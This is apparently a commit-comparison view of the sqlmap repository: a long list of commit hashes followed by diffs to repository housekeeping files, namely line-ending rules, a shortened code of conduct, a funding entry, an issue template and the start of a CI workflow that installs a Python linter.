ae1bd2136a | ||
|
|
305d79846f | ||
|
|
acd9831917 | ||
|
|
8430d6ba96 | ||
|
|
162bafa77d | ||
|
|
1ce9c8ab94 | ||
|
|
bfe03ef95a | ||
|
|
27c4e8d29a | ||
|
|
d42187ac47 | ||
|
|
93a8828dab | ||
|
|
d38d734e6d | ||
|
|
f94ab0f650 | ||
|
|
585a13d89b | ||
|
|
c84f141b89 | ||
|
|
097f236a50 | ||
|
|
51908e653c | ||
|
|
a13c1f2db1 | ||
|
|
f176266e58 | ||
|
|
53b8a9583e | ||
|
|
6dd383fd72 | ||
|
|
f24bf55d8f | ||
|
|
c096f870e7 | ||
|
|
bde7637633 | ||
|
|
4acc0178b5 | ||
|
|
de6107cab5 | ||
|
|
29f09e235c | ||
|
|
67ab79a625 | ||
|
|
de66b69f41 | ||
|
|
acce97bfcb | ||
|
|
124c3902cc | ||
|
|
bb1772c8b8 | ||
|
|
9d85d3005a | ||
|
|
7a6abb56d2 | ||
|
|
e267c8fd57 | ||
|
|
57900d899c | ||
|
|
3d244ea9c3 | ||
|
|
90cbaa1249 | ||
|
|
1740f6332e | ||
|
|
e0ec2fcdbd | ||
|
|
c629374858 | ||
|
|
6caba631a8 | ||
|
|
be118e861c | ||
|
|
4f2a883544 | ||
|
|
89e8b6e5ce | ||
|
|
6d472dc2b0 | ||
|
|
2f66aa8ac1 | ||
|
|
a7cf68f243 | ||
|
|
ccc38abff6 | ||
|
|
3e98fabd23 | ||
|
|
b368b4a9f9 | ||
|
|
2c767d7d1f | ||
|
|
b836c36d68 | ||
|
|
89f9e5b1e0 | ||
|
|
5ad099c61d | ||
|
|
21878560ee | ||
|
|
0d19af8bbc | ||
|
|
5bd0f20c84 | ||
|
|
bb48dd037f | ||
|
|
df388b2150 | ||
|
|
66cc6ae55c | ||
|
|
322d80c0cf | ||
|
|
1230e57fca | ||
|
|
ee15749ac4 | ||
|
|
8466a89ed3 | ||
|
|
acc7b16845 | ||
|
|
48c967c01d | ||
|
|
d28a66a340 | ||
|
|
30b43eccab | ||
|
|
290a8e7119 | ||
|
|
cf5e2aa7ef | ||
|
|
8bc2ace094 | ||
|
|
e1043173d7 | ||
|
|
12c472cef5 | ||
|
|
037a07ddde | ||
|
|
0e8940b0be | ||
|
|
3ad6727d0c | ||
|
|
4191b06f58 | ||
|
|
60bb973c11 | ||
|
|
0fba9b13b3 | ||
|
|
17688f6711 | ||
|
|
3b3c2a5d04 | ||
|
|
4f7614412f | ||
|
|
4efb3ea840 | ||
|
|
c2bac51c4f | ||
|
|
7d763e224a | ||
|
|
4dd362cb2c | ||
|
|
077d58c5e9 | ||
|
|
257c4d1c88 | ||
|
|
ce30fa08d6 | ||
|
|
3ca2533c39 | ||
|
|
75bfebed9d | ||
|
|
3117730d84 | ||
|
|
323af987ed | ||
|
|
80dc67f85a | ||
|
|
ca2f094e4a | ||
|
|
3aa6692b82 | ||
|
|
aabfcbc3e1 | ||
|
|
d42174e8a0 | ||
|
|
a1bf89d31e | ||
|
|
99ea44c7b3 | ||
|
|
abc092959f | ||
|
|
d5547d908c | ||
|
|
25fe5dce21 | ||
|
|
1f82d9587a | ||
|
|
15d9c8f9ed | ||
|
|
01310a47fd | ||
|
|
56177c3d2a | ||
|
|
c5d7c542a2 | ||
|
|
4357b0087d | ||
|
|
d3bfe59401 | ||
|
|
9eb970e7c7 | ||
|
|
46495f70f8 | ||
|
|
30ba167cc1 | ||
|
|
d7180d38c4 | ||
|
|
b1aaac5ba2 | ||
|
|
8962e152ac | ||
|
|
c58383e684 | ||
|
|
4585243175 | ||
|
|
fbfed061b8 | ||
|
|
fdbc323aa6 | ||
|
|
6336389322 | ||
|
|
a7b59243e2 | ||
|
|
c8eea24ac4 | ||
|
|
1be7a5aea8 | ||
|
|
d0d4cf4f6d | ||
|
|
1f83076e70 | ||
|
|
b0a1efaa44 | ||
|
|
de527f1814 | ||
|
|
96adc7c098 | ||
|
|
7940b572ef | ||
|
|
05293e01a4 | ||
|
|
216565fb05 | ||
|
|
6e3eaca547 | ||
|
|
5592f55cae | ||
|
|
12e3ed14ae | ||
|
|
dd4010f16f | ||
|
|
4cd146cc86 | ||
|
|
e85bc30f95 | ||
|
|
b7411211af | ||
|
|
a11f79e16f | ||
|
|
7c9e4c4a65 | ||
|
|
76202e565d | ||
|
|
86ac3025ed | ||
|
|
ebaee3a4e6 | ||
|
|
33a6547f5b | ||
|
|
ad529f24cb | ||
|
|
3d2f89345f | ||
|
|
58f10093a0 | ||
|
|
6aaf7d3960 | ||
|
|
b8fa0edea6 | ||
|
|
55b2b43f0e | ||
|
|
7bc0b08fd6 | ||
|
|
62bba470d6 | ||
|
|
eda669e10b | ||
|
|
c382321134 | ||
|
|
2ace4ef471 | ||
|
|
02dcf2a926 | ||
|
|
5c55602296 | ||
|
|
aa9cc3987e | ||
|
|
d7ee423fc5 | ||
|
|
1092dfb877 | ||
|
|
bf4f84b70a | ||
|
|
c45cf60fb4 | ||
|
|
3f53b2bc05 | ||
|
|
9c103b3dd6 | ||
|
|
7f62572f43 | ||
|
|
e846209b87 | ||
|
|
a246b8da5e | ||
|
|
70665c5d2b | ||
|
|
111620e395 | ||
|
|
2382d2654e | ||
|
|
4cdc3af585 | ||
|
|
212f28d1ad | ||
|
|
e1f7690de4 | ||
|
|
7e425d4c9b | ||
|
|
fe2042ea58 | ||
|
|
54e953d206 | ||
|
|
8c26c67ce9 | ||
|
|
c722f8e3bd | ||
|
|
521da5e734 | ||
|
|
43fba39366 | ||
|
|
afdaba76dc | ||
|
|
d98d64504c | ||
|
|
290058451d | ||
|
|
e7372a9512 | ||
|
|
864ab597c0 | ||
|
|
e8731e1af5 | ||
|
|
df4293473d | ||
|
|
90b444c927 | ||
|
|
99f07b64c5 | ||
|
|
07ae377987 | ||
|
|
4a355b99be | ||
|
|
7008361017 | ||
|
|
a14a3d0e54 | ||
|
|
3aae1849bb | ||
|
|
7d07976969 | ||
|
|
9dc1344478 | ||
|
|
e8e7d66356 | ||
|
|
2038512518 | ||
|
|
184454ba8e | ||
|
|
aacb360d46 | ||
|
|
5eaf1d2d27 | ||
|
|
be987815c9 | ||
|
|
fb3f428804 | ||
|
|
52f2faf2cf | ||
|
|
d5fb92ee42 | ||
|
|
cd76f8863b | ||
|
|
5b2c0f0d46 | ||
|
|
548d98e0af | ||
|
|
68c2180c59 | ||
|
|
e2f48a9346 | ||
|
|
582bb2fec9 | ||
|
|
9bdad4bcd5 | ||
|
|
e1a04a8201 | ||
|
|
7149991faf | ||
|
|
32acb1e4ff | ||
|
|
e91b1a0f97 | ||
|
|
439d1cce67 | ||
|
|
dcf304c65e | ||
|
|
f5ed2c0c97 | ||
|
|
dd55d97f77 | ||
|
|
445d69f678 | ||
|
|
02ff0eef88 | ||
|
|
acd5ef055a | ||
|
|
a2fcab448c | ||
|
|
0b775b6d1d | ||
|
|
b1881129b6 | ||
|
|
acae6e3e7c | ||
|
|
bacf18832a | ||
|
|
75905e0cd9 | ||
|
|
6aa4d9bdf1 | ||
|
|
90eeab68b9 | ||
|
|
22168204c2 | ||
|
|
63977ebdff | ||
|
|
e393e1b80e | ||
|
|
a4cf25c97d | ||
|
|
796173f81c | ||
|
|
5e18bf81b9 | ||
|
|
74f5518e62 | ||
|
|
74ecc72588 | ||
|
|
292cc5fe59 | ||
|
|
b528fc07f9 | ||
|
|
25d6479f91 | ||
|
|
8bcaed171a | ||
|
|
22e7b35ef4 | ||
|
|
067c3bc353 | ||
|
|
4d9dbdb36d | ||
|
|
309d08850f | ||
|
|
3b07b70864 | ||
|
|
97b88b0949 | ||
|
|
cb8861fde8 | ||
|
|
519c0ac01b | ||
|
|
6276db1d80 | ||
|
|
3c9f55b5d5 | ||
|
|
7d5883f1ed | ||
|
|
0de0fa047e | ||
|
|
477ffd848a | ||
|
|
1d8643db09 | ||
|
|
122c47146d | ||
|
|
92b065276f | ||
|
|
90b145ee87 | ||
|
|
b185b5e989 | ||
|
|
3f0ffafaea | ||
|
|
953a51c29f | ||
|
|
4cc6afe0fc | ||
|
|
8d98347a43 | ||
|
|
687cde5a15 | ||
|
|
aefd0485ed | ||
|
|
54e342399d | ||
|
|
88798cf02b | ||
|
|
c988d4f6d0 | ||
|
|
8c904bf73c | ||
|
|
9e17babe7b | ||
|
|
fc9875fc12 | ||
|
|
bfaa4cbf8d | ||
|
|
ad7da11946 | ||
|
|
08cb06fb65 | ||
|
|
cceb5319ef | ||
|
|
8a57002b26 | ||
|
|
e7315ccd4d | ||
|
|
e435d1e712 | ||
|
|
f0194a8814 | ||
|
|
e03404283c | ||
|
|
18013bc8b2 | ||
|
|
0517979e0a | ||
|
|
a3100ff069 | ||
|
|
b65c17608f | ||
|
|
aec527dbee | ||
|
|
e9d7a770e1 | ||
|
|
182c06e26b | ||
|
|
c4680b7e04 | ||
|
|
f1621d0d89 | ||
|
|
69900a6c6e | ||
|
|
7d31de1124 | ||
|
|
59bd03f1a9 | ||
|
|
7f7e78a517 | ||
|
|
9ac251142c | ||
|
|
c712e9c22f | ||
|
|
954a8e6ee7 | ||
|
|
6ce9e40a90 | ||
|
|
7878c22cd2 | ||
|
|
dec550b1c9 | ||
|
|
3ff4bb8938 | ||
|
|
aeaa776ca9 | ||
|
|
08eeb0fd88 | ||
|
|
c8d06d1099 | ||
|
|
a48ce3c12a | ||
|
|
d8b15c14b6 | ||
|
|
fc0ba39045 | ||
|
|
5ea5fc896b | ||
|
|
374f38fdce | ||
|
|
95b69d2c61 | ||
|
|
3d01a9106e | ||
|
|
95e0b368f2 | ||
|
|
564c5a2494 | ||
|
|
cfa5042358 | ||
|
|
353a6251dd | ||
|
|
94706bd7fc | ||
|
|
a9f998273c | ||
|
|
1d6d2c1892 | ||
|
|
e6532f3faf | ||
|
|
72572d2b97 | ||
|
|
7bb91805db | ||
|
|
7f8e38bacf | ||
|
|
c90b243b50 | ||
|
|
c24e4a7086 | ||
|
|
79e0fc7602 | ||
|
|
db2e34f6e0 | ||
|
|
24e3b6a84e | ||
|
|
f322306cb2 | ||
|
|
8f84b740da | ||
|
|
5fae5c3787 | ||
|
|
590480d6ac | ||
|
|
d95406016c | ||
|
|
6e968584f6 | ||
|
|
cc5ba4753c | ||
|
|
afa4d2c514 | ||
|
|
d63401632c | ||
|
|
45553f0efc | ||
|
|
f1dbe9e388 | ||
|
|
3977be9c9e | ||
|
|
9da558f041 | ||
|
|
b3bc401f2e | ||
|
|
06cd97f097 | ||
|
|
293772348c | ||
|
|
2679c650aa | ||
|
|
179a6edf92 | ||
|
|
8af87c7ea6 | ||
|
|
3a1dd163ec | ||
|
|
f8a9288953 | ||
|
|
8895b7d09d | ||
|
|
fa05878712 | ||
|
|
795b9e6521 | ||
|
|
1f3a1410f2 | ||
|
|
69c679cf06 | ||
|
|
5ea08b397a | ||
|
|
7c41967865 | ||
|
|
255dce8c49 | ||
|
|
7c7c338705 | ||
|
|
63073a1873 | ||
|
|
295cd15dff | ||
|
|
3463341bad | ||
|
|
88553d3540 | ||
|
|
ab90447600 | ||
|
|
a23faaeb8c | ||
|
|
6942abf090 | ||
|
|
3c25f79a9b | ||
|
|
94ab17829e | ||
|
|
c4c1571902 | ||
|
|
da86486cd9 | ||
|
|
dccc837703 | ||
|
|
452915ed4a | ||
|
|
35e575c287 | ||
|
|
015a8f0a6d | ||
|
|
0896a49500 | ||
|
|
95511c8ff9 | ||
|
|
8bf1650d65 | ||
|
|
ff645a767b | ||
|
|
cfa7b3c3bd | ||
|
|
76b310cc43 | ||
|
|
9a6acd2054 | ||
|
|
387020ece8 | ||
|
|
732b9670d2 | ||
|
|
1159c9ccae | ||
|
|
cadbf170f0 | ||
|
|
fc486c8b34 | ||
|
|
cfe43e3f2b | ||
|
|
6395481aa4 | ||
|
|
2380ab1e86 | ||
|
|
dd32bfb0cc | ||
|
|
b7d90bbe03 | ||
|
|
86170e177c | ||
|
|
bce3abc829 | ||
|
|
8d6125f067 | ||
|
|
506e3f0871 | ||
|
|
6145944dc7 | ||
|
|
61186b979b | ||
|
|
4d4b9a1175 | ||
|
|
133e2c8c61 | ||
|
|
38c341076d | ||
|
|
40e4422bbd | ||
|
|
98ac1cf9c1 | ||
|
|
56721240fa | ||
|
|
c81414cf25 | ||
|
|
2e195a35dc | ||
|
|
89d25a16ce | ||
|
|
9bc466edac | ||
|
|
32b7f3040e | ||
|
|
f066e215e5 | ||
|
|
4e65ff4689 | ||
|
|
1e8bf1c78a | ||
|
|
657c6519ea | ||
|
|
970c7f6a76 | ||
|
|
105e314ec8 | ||
|
|
dd963a042d | ||
|
|
0df2592622 | ||
|
|
eeacab0f19 | ||
|
|
b3e454d0b1 | ||
|
|
99d0031d65 | ||
|
|
5916bc2d39 | ||
|
|
2159944de4 | ||
|
|
f87aa83e9b | ||
|
|
b902cca791 | ||
|
|
86467e196b | ||
|
|
30f137699d | ||
|
|
7741154383 | ||
|
|
a6262a3aa9 | ||
|
|
1f33b16e01 | ||
|
|
04396c97e2 | ||
|
|
b1cdbdae61 | ||
|
|
747951b80b | ||
|
|
1bef2f8fda | ||
|
|
b0ac442096 | ||
|
|
99a5fb243c | ||
|
|
b2a575482e | ||
|
|
365e08b710 | ||
|
|
af3b79ff8b | ||
|
|
3724a53466 | ||
|
|
01e83cb4a0 | ||
|
|
cd77cdd1e8 | ||
|
|
22c421a427 | ||
|
|
59fe89f076 | ||
|
|
160011bd87 | ||
|
|
36ee4d68c7 | ||
|
|
dfc5bc5d87 | ||
|
|
d247fda9d3 | ||
|
|
78b1c4f072 | ||
|
|
63e44f9ee9 | ||
|
|
08349138ec | ||
|
|
807d38688f | ||
|
|
0975fb1226 | ||
|
|
71c141ef86 | ||
|
|
accfbf958e | ||
|
|
c0be1da8b1 | ||
|
|
4a12493d85 | ||
|
|
b2c8ba10cd | ||
|
|
9568ee3c4d | ||
|
|
f3e8039145 | ||
|
|
e5086ef61a | ||
|
|
ed0909fe57 | ||
|
|
6244850749 | ||
|
|
d78590213b | ||
|
|
4490d55482 | ||
|
|
fd137b49ef | ||
|
|
6fa5922fbd | ||
|
|
42884d3f09 | ||
|
|
1a0c533626 | ||
|
|
5d3bd6ea7a | ||
|
|
29a7646334 | ||
|
|
fa93f5e099 | ||
|
|
12238019dd | ||
|
|
0b1b64b682 | ||
|
|
c8dc375fb5 | ||
|
|
a697e6c307 | ||
|
|
66a3118f81 | ||
|
|
3002f92e34 | ||
|
|
2ef07c80db | ||
|
|
e3028f195e | ||
|
|
1f39dbd06d | ||
|
|
ccf9e7de54 | ||
|
|
ebd2a940cb | ||
|
|
0d3889730d | ||
|
|
ccbc3e62f8 | ||
|
|
f84ec1072b | ||
|
|
779b352f6b | ||
|
|
9af2e68b7e | ||
|
|
bd59dd4a0f | ||
|
|
c4e6c3e854 | ||
|
|
91045aab60 | ||
|
|
b36d8248a4 | ||
|
|
091678b9d4 | ||
|
|
0c3d8c9bd1 | ||
|
|
f5b6b0eb4b | ||
|
|
e8048a3cf0 | ||
|
|
0207ecf0ee | ||
|
|
ae6a812ee1 | ||
|
|
f23c04131c | ||
|
|
ab0df2a85c | ||
|
|
2cf2dd9a2c | ||
|
|
82e28e038e | ||
|
|
31fe3453a2 | ||
|
|
32deef59c3 | ||
|
|
8142dd8f3b | ||
|
|
1b2ac3069d | ||
|
|
bb02eefb70 | ||
|
|
8c8aae9170 | ||
|
|
99e6d56f09 | ||
|
|
41e247be56 | ||
|
|
81602c4093 | ||
|
|
31c597f9e6 | ||
|
|
b039c35f2b | ||
|
|
bae7766e64 | ||
|
|
9c95445723 | ||
|
|
eeffcfe1b6 | ||
|
|
809538d1bb | ||
|
|
5f743ab19b | ||
|
|
85c6d0d5c1 | ||
|
|
d9e6e678e8 | ||
|
|
7e675fed9f | ||
|
|
5bf52c3f9c | ||
|
|
94709c93bb | ||
|
|
a852d25314 | ||
|
|
c0aa8565a1 | ||
|
|
bce1cfe00f | ||
|
|
0cd6285707 | ||
|
|
8a783702d9 | ||
|
|
760563dbd1 | ||
|
|
92054b5d63 | ||
|
|
2f3801b808 | ||
|
|
d5c9bdf279 | ||
|
|
12158af6ca | ||
|
|
8e662a5179 | ||
|
|
8d9c84236d | ||
|
|
815d417a9e | ||
|
|
3936a11280 | ||
|
|
13e363155a | ||
|
|
be0f7a9e07 | ||
|
|
33a8db9596 | ||
|
|
9f6eacb4e8 | ||
|
|
e6d9dc46ab | ||
|
|
c3e81a6223 | ||
|
|
78ba33737e | ||
|
|
c6557e2b45 | ||
|
|
fa17cfb606 | ||
|
|
40623e780a | ||
|
|
35862bf4c8 | ||
|
|
5d6def425a | ||
|
|
7066e7ce97 | ||
|
|
8dad7dd12d | ||
|
|
6b7c3a2f81 | ||
|
|
e9b3af6b9a | ||
|
|
194c911433 | ||
|
|
e621d7ec6a | ||
|
|
854507bc85 | ||
|
|
82eec780a2 | ||
|
|
de55be3afe | ||
|
|
4d2b890a0a | ||
|
|
c243c5fe0d | ||
|
|
a35fc713a2 | ||
|
|
97b7dc585c | ||
|
|
c5a5717add | ||
|
|
fe4e79511a | ||
|
|
1d5bde9cdf | ||
|
|
227a23f091 | ||
|
|
0ff3b1ce70 | ||
|
|
7e483ffd7a | ||
|
|
a5852390f7 | ||
|
|
73d0c67a80 | ||
|
|
8e9f7e90c3 | ||
|
|
f6bf331b8f | ||
|
|
585645e806 | ||
|
|
673a5afe07 | ||
|
|
c9a8b915c8 | ||
|
|
9645aaa33f | ||
|
|
e556876fe6 | ||
|
|
0524670cf9 | ||
|
|
96a2c91701 | ||
|
|
5029d67e4f | ||
|
|
5af64f5ae4 | ||
|
|
bc981c517b | ||
|
|
87ad11dffb | ||
|
|
3663fa936b | ||
|
|
4687383a44 | ||
|
|
62cfd47b83 | ||
|
|
2bf22df53a | ||
|
|
0585a55ee0 | ||
|
|
babe52eb10 | ||
|
|
231c3da057 | ||
|
|
13a2ab3fa3 | ||
|
|
21cc6e3c99 | ||
|
|
a2a73b88ea | ||
|
|
210a4c3a0a | ||
|
|
15225668d0 | ||
|
|
c1bf36b876 | ||
|
|
229f89004b | ||
|
|
443b1f2ed5 | ||
|
|
60f4520020 | ||
|
|
7460b87f1d | ||
|
|
5d08b9004e | ||
|
|
c2b9e539ae | ||
|
|
3d8eb62a59 | ||
|
|
d51e45fd34 | ||
|
|
3258e29cf9 | ||
|
|
e0ea1ab5e9 | ||
|
|
192ca02c41 | ||
|
|
f0bbbb0918 | ||
|
|
f6857d4ee4 | ||
|
|
a1342e04a5 | ||
|
|
7963281c41 | ||
|
|
715063f0d4 | ||
|
|
1658331810 | ||
|
|
bfe93e20c5 | ||
|
|
bcea050f22 | ||
|
|
c4a692abe3 | ||
|
|
b42b62ae38 | ||
|
|
a7f20c1d67 | ||
|
|
f781367ac1 | ||
|
|
1bec3a953c | ||
|
|
66e07dfab6 | ||
|
|
226d467f6d | ||
|
|
ea5ae44b6c | ||
|
|
95b9a47c6f | ||
|
|
e05f65628d | ||
|
|
609545176f | ||
|
|
8de4820b24 | ||
|
|
df5fabbbbb | ||
|
|
0c48d0dbec | ||
|
|
5108c2d06c | ||
|
|
603d602550 | ||
|
|
907786edb8 | ||
|
|
85b73f872e | ||
|
|
a42ec7d9cb | ||
|
|
b3f4c6d0fc | ||
|
|
cec65f3a27 | ||
|
|
cc79ae69aa | ||
|
|
5a9dc15cf2 | ||
|
|
f1fd080ba5 | ||
|
|
cfe9fb4f5b | ||
|
|
7a55c9c145 | ||
|
|
4077a359f4 | ||
|
|
435fd49f1d | ||
|
|
bcfd9c3f48 | ||
|
|
39c320c29b | ||
|
|
b719b9612f | ||
|
|
84bc2640d1 | ||
|
|
fced29a242 | ||
|
|
2e5e958d3f | ||
|
|
1e30471d3d | ||
|
|
10b93d753d | ||
|
|
1280abc25c | ||
|
|
c47061f25d | ||
|
|
9b871f1093 | ||
|
|
0ba07e93d5 | ||
|
|
ce50acf69d | ||
|
|
9f0ff27c26 | ||
|
|
ecafac5cd2 | ||
|
|
f39869992c | ||
|
|
e910fc6b8b | ||
|
|
6375f9e506 | ||
|
|
8e649dc3f7 | ||
|
|
a6ce91a3e2 | ||
|
|
408862b040 | ||
|
|
fc4dec7291 | ||
|
|
274a6e62da | ||
|
|
aa7c548376 | ||
|
|
6b7a1dfd94 | ||
|
|
67f918f6ad | ||
|
|
a65e1faf99 | ||
|
|
ff48e1d820 | ||
|
|
0094f02fb0 | ||
|
|
459130196a | ||
|
|
0a8a65bc0b | ||
|
|
5d370f2fa1 | ||
|
|
1296336e18 | ||
|
|
75b3736467 | ||
|
|
282eb7e533 | ||
|
|
f28d82c119 | ||
|
|
74603c5530 | ||
|
|
050700f079 | ||
|
|
31bf1fc6b6 | ||
|
|
d4d83b29f0 | ||
|
|
596fff48ad | ||
|
|
56ff081314 | ||
|
|
69421b4806 | ||
|
|
3910b86853 | ||
|
|
bbdedb39f9 | ||
|
|
d0be782ece | ||
|
|
16c8673e98 | ||
|
|
1dedc36d85 | ||
|
|
c1d46c95ed | ||
|
|
d5fc2c9350 | ||
|
|
c28ad8fcd8 | ||
|
|
2d06543cac | ||
|
|
6a1e0fb497 | ||
|
|
5c650e15a9 | ||
|
|
c97a814d26 | ||
|
|
a58d08c7e4 | ||
|
|
9c503873ad | ||
|
|
03dfd6b4d5 | ||
|
|
d5a2ffc8ce | ||
|
|
ddf8b1b198 | ||
|
|
9a36357c52 | ||
|
|
667e4d00f2 | ||
|
|
788dcbf077 | ||
|
|
a851dc486a | ||
|
|
9077734ec5 | ||
|
|
7b49c46906 | ||
|
|
317bc0f69c | ||
|
|
c7bdf27542 | ||
|
|
b334b6b742 | ||
|
|
aa812effe7 | ||
|
|
99e2a26a8d | ||
|
|
01edcbf71d | ||
|
|
0b93311ef2 | ||
|
|
4f3f43d8bb | ||
|
|
4582948aac | ||
|
|
3729b76c14 | ||
|
|
a8c3d17583 | ||
|
|
3c36b186ad | ||
|
|
075fa1d4be | ||
|
|
5be407edad | ||
|
|
7ab82de80f | ||
|
|
93399ab1b3 | ||
|
|
87bccf4aa7 | ||
|
|
1c179674d8 | ||
|
|
7a6433b9ef | ||
|
|
4e7f0b10d5 | ||
|
|
0351b4a939 | ||
|
|
3c93872d53 | ||
|
|
881d767df8 | ||
|
|
1156b53eee | ||
|
|
5cacf20eb5 | ||
|
|
1825390951 | ||
|
|
7815f88027 | ||
|
|
f63a92a272 | ||
|
|
e3b3dea46c | ||
|
|
55595edce2 | ||
|
|
aaa0c5c6a8 | ||
|
|
57bb710ae6 | ||
|
|
ce9285381d | ||
|
|
dad4879200 | ||
|
|
2cba4e2d78 | ||
|
|
8ec165d688 | ||
|
|
492fbae7c5 | ||
|
|
a8d81a7962 | ||
|
|
fcb2a6e111 | ||
|
|
2e7333d7c8 | ||
|
|
5fd2598da0 | ||
|
|
111201978c | ||
|
|
41bdb93655 | ||
|
|
6cd0b1120f | ||
|
|
97ccf4ca66 | ||
|
|
8cc516dc5f |
@@ -1,8 +1,16 @@
|
|||||||
*.conf text eol=lf
|
*.conf text eol=lf
|
||||||
|
*.json text eol=lf
|
||||||
|
*.html text eol=lf
|
||||||
*.md text eol=lf
|
*.md text eol=lf
|
||||||
*.md5 text eol=lf
|
*.md5 text eol=lf
|
||||||
|
*.pl text eol=lf
|
||||||
*.py text eol=lf
|
*.py text eol=lf
|
||||||
|
*.sh text eol=lf
|
||||||
|
*.sql text eol=lf
|
||||||
|
*.txt text eol=lf
|
||||||
*.xml text eol=lf
|
*.xml text eol=lf
|
||||||
|
*.yaml text eol=lf
|
||||||
|
*.yml text eol=lf
|
||||||
LICENSE text eol=lf
|
LICENSE text eol=lf
|
||||||
COMMITMENT text eol=lf
|
COMMITMENT text eol=lf
|
||||||
|
|
||||||
|
|||||||
+12
-36
@@ -1,46 +1,22 @@
|
|||||||
# Contributor Covenant Code of Conduct
|
# Code of Conduct
|
||||||
|
|
||||||
## Our Pledge
|
## Our Goal
|
||||||
|
|
||||||
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
|
The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
|
||||||
|
|
||||||
## Our Standards
|
## Standards
|
||||||
|
|
||||||
Examples of behavior that contributes to creating a positive environment include:
|
Contributors are expected to:
|
||||||
|
|
||||||
* Using welcoming and inclusive language
|
* Be respectful and professional in all communications.
|
||||||
* Being respectful of differing viewpoints and experiences
|
* Focus on the technical merits of the project.
|
||||||
* Gracefully accepting constructive criticism
|
* Gracefully accept constructive criticism.
|
||||||
* Focusing on what is best for the community
|
|
||||||
* Showing empathy towards other community members
|
|
||||||
|
|
||||||
Examples of unacceptable behavior by participants include:
|
Unacceptable behavior includes:
|
||||||
|
|
||||||
* The use of sexualized language or imagery and unwelcome sexual attention or advances
|
* Harassment, personal attacks, or doxxing.
|
||||||
* Trolling, insulting/derogatory comments, and personal or political attacks
|
* Any behavior that disrupts the technical progress of the project.
|
||||||
* Public or private harassment
|
|
||||||
* Publishing others' private information, such as a physical or electronic address, without explicit permission
|
|
||||||
* Other conduct which could reasonably be considered inappropriate in a professional setting
|
|
||||||
|
|
||||||
## Our Responsibilities
|
|
||||||
|
|
||||||
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
|
|
||||||
|
|
||||||
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
|
|
||||||
|
|
||||||
## Scope
|
|
||||||
|
|
||||||
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
|
|
||||||
|
|
||||||
## Enforcement
|
## Enforcement
|
||||||
|
|
||||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
|
The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.
|
||||||
|
|
||||||
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
|
|
||||||
|
|
||||||
## Attribution
|
|
||||||
|
|
||||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
|
|
||||||
|
|
||||||
[homepage]: http://contributor-covenant.org
|
|
||||||
[version]: http://contributor-covenant.org/version/1/4/
|
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
github: sqlmapproject
|
||||||
@@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen.
|
|||||||
If applicable, add screenshots to help explain your problem.
|
If applicable, add screenshots to help explain your problem.
|
||||||
|
|
||||||
**Running environment:**
|
**Running environment:**
|
||||||
- sqlmap version [e.g. 1.3.5.93#dev]
|
- sqlmap version [e.g. 1.7.2.12#dev]
|
||||||
- Installation method [e.g. git]
|
- Installation method [e.g. pip]
|
||||||
- Operating system: [e.g. Microsoft Windows 10]
|
- Operating system: [e.g. Microsoft Windows 11]
|
||||||
- Python version [e.g. 3.5.2]
|
- Python version [e.g. 3.11.2]
|
||||||
|
|
||||||
**Target details:**
|
**Target details:**
|
||||||
- DBMS [e.g. Microsoft SQL Server]
|
- DBMS [e.g. Microsoft SQL Server]
|
||||||
|
|||||||
@@ -0,0 +1,140 @@
|
|||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [ master ]
|
||||||
|
pull_request:
|
||||||
|
branches: [ master ]
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ci-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
timeout-minutes: 30
|
||||||
|
|
||||||
|
env:
|
||||||
|
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
|
||||||
|
PYTHONHASHSEED: "0"
|
||||||
|
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
include:
|
||||||
|
- os: ubuntu-latest
|
||||||
|
python-version: "pypy-2.7"
|
||||||
|
- os: macos-latest
|
||||||
|
python-version: "3.8"
|
||||||
|
- os: windows-latest
|
||||||
|
python-version: "3.14"
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 1
|
||||||
|
persist-credentials: false
|
||||||
|
|
||||||
|
- name: Set up Python ${{ matrix.python-version }}
|
||||||
|
uses: actions/setup-python@v5
|
||||||
|
with:
|
||||||
|
python-version: ${{ matrix.python-version }}
|
||||||
|
|
||||||
|
- name: Python sanity
|
||||||
|
run: python -VV
|
||||||
|
|
||||||
|
- name: Pyflakes lint
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
python - <<'PY'
|
||||||
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
subprocess.check_call([
|
||||||
|
sys.executable, "-m", "pip", "install", "pyflakes"
|
||||||
|
])
|
||||||
|
|
||||||
|
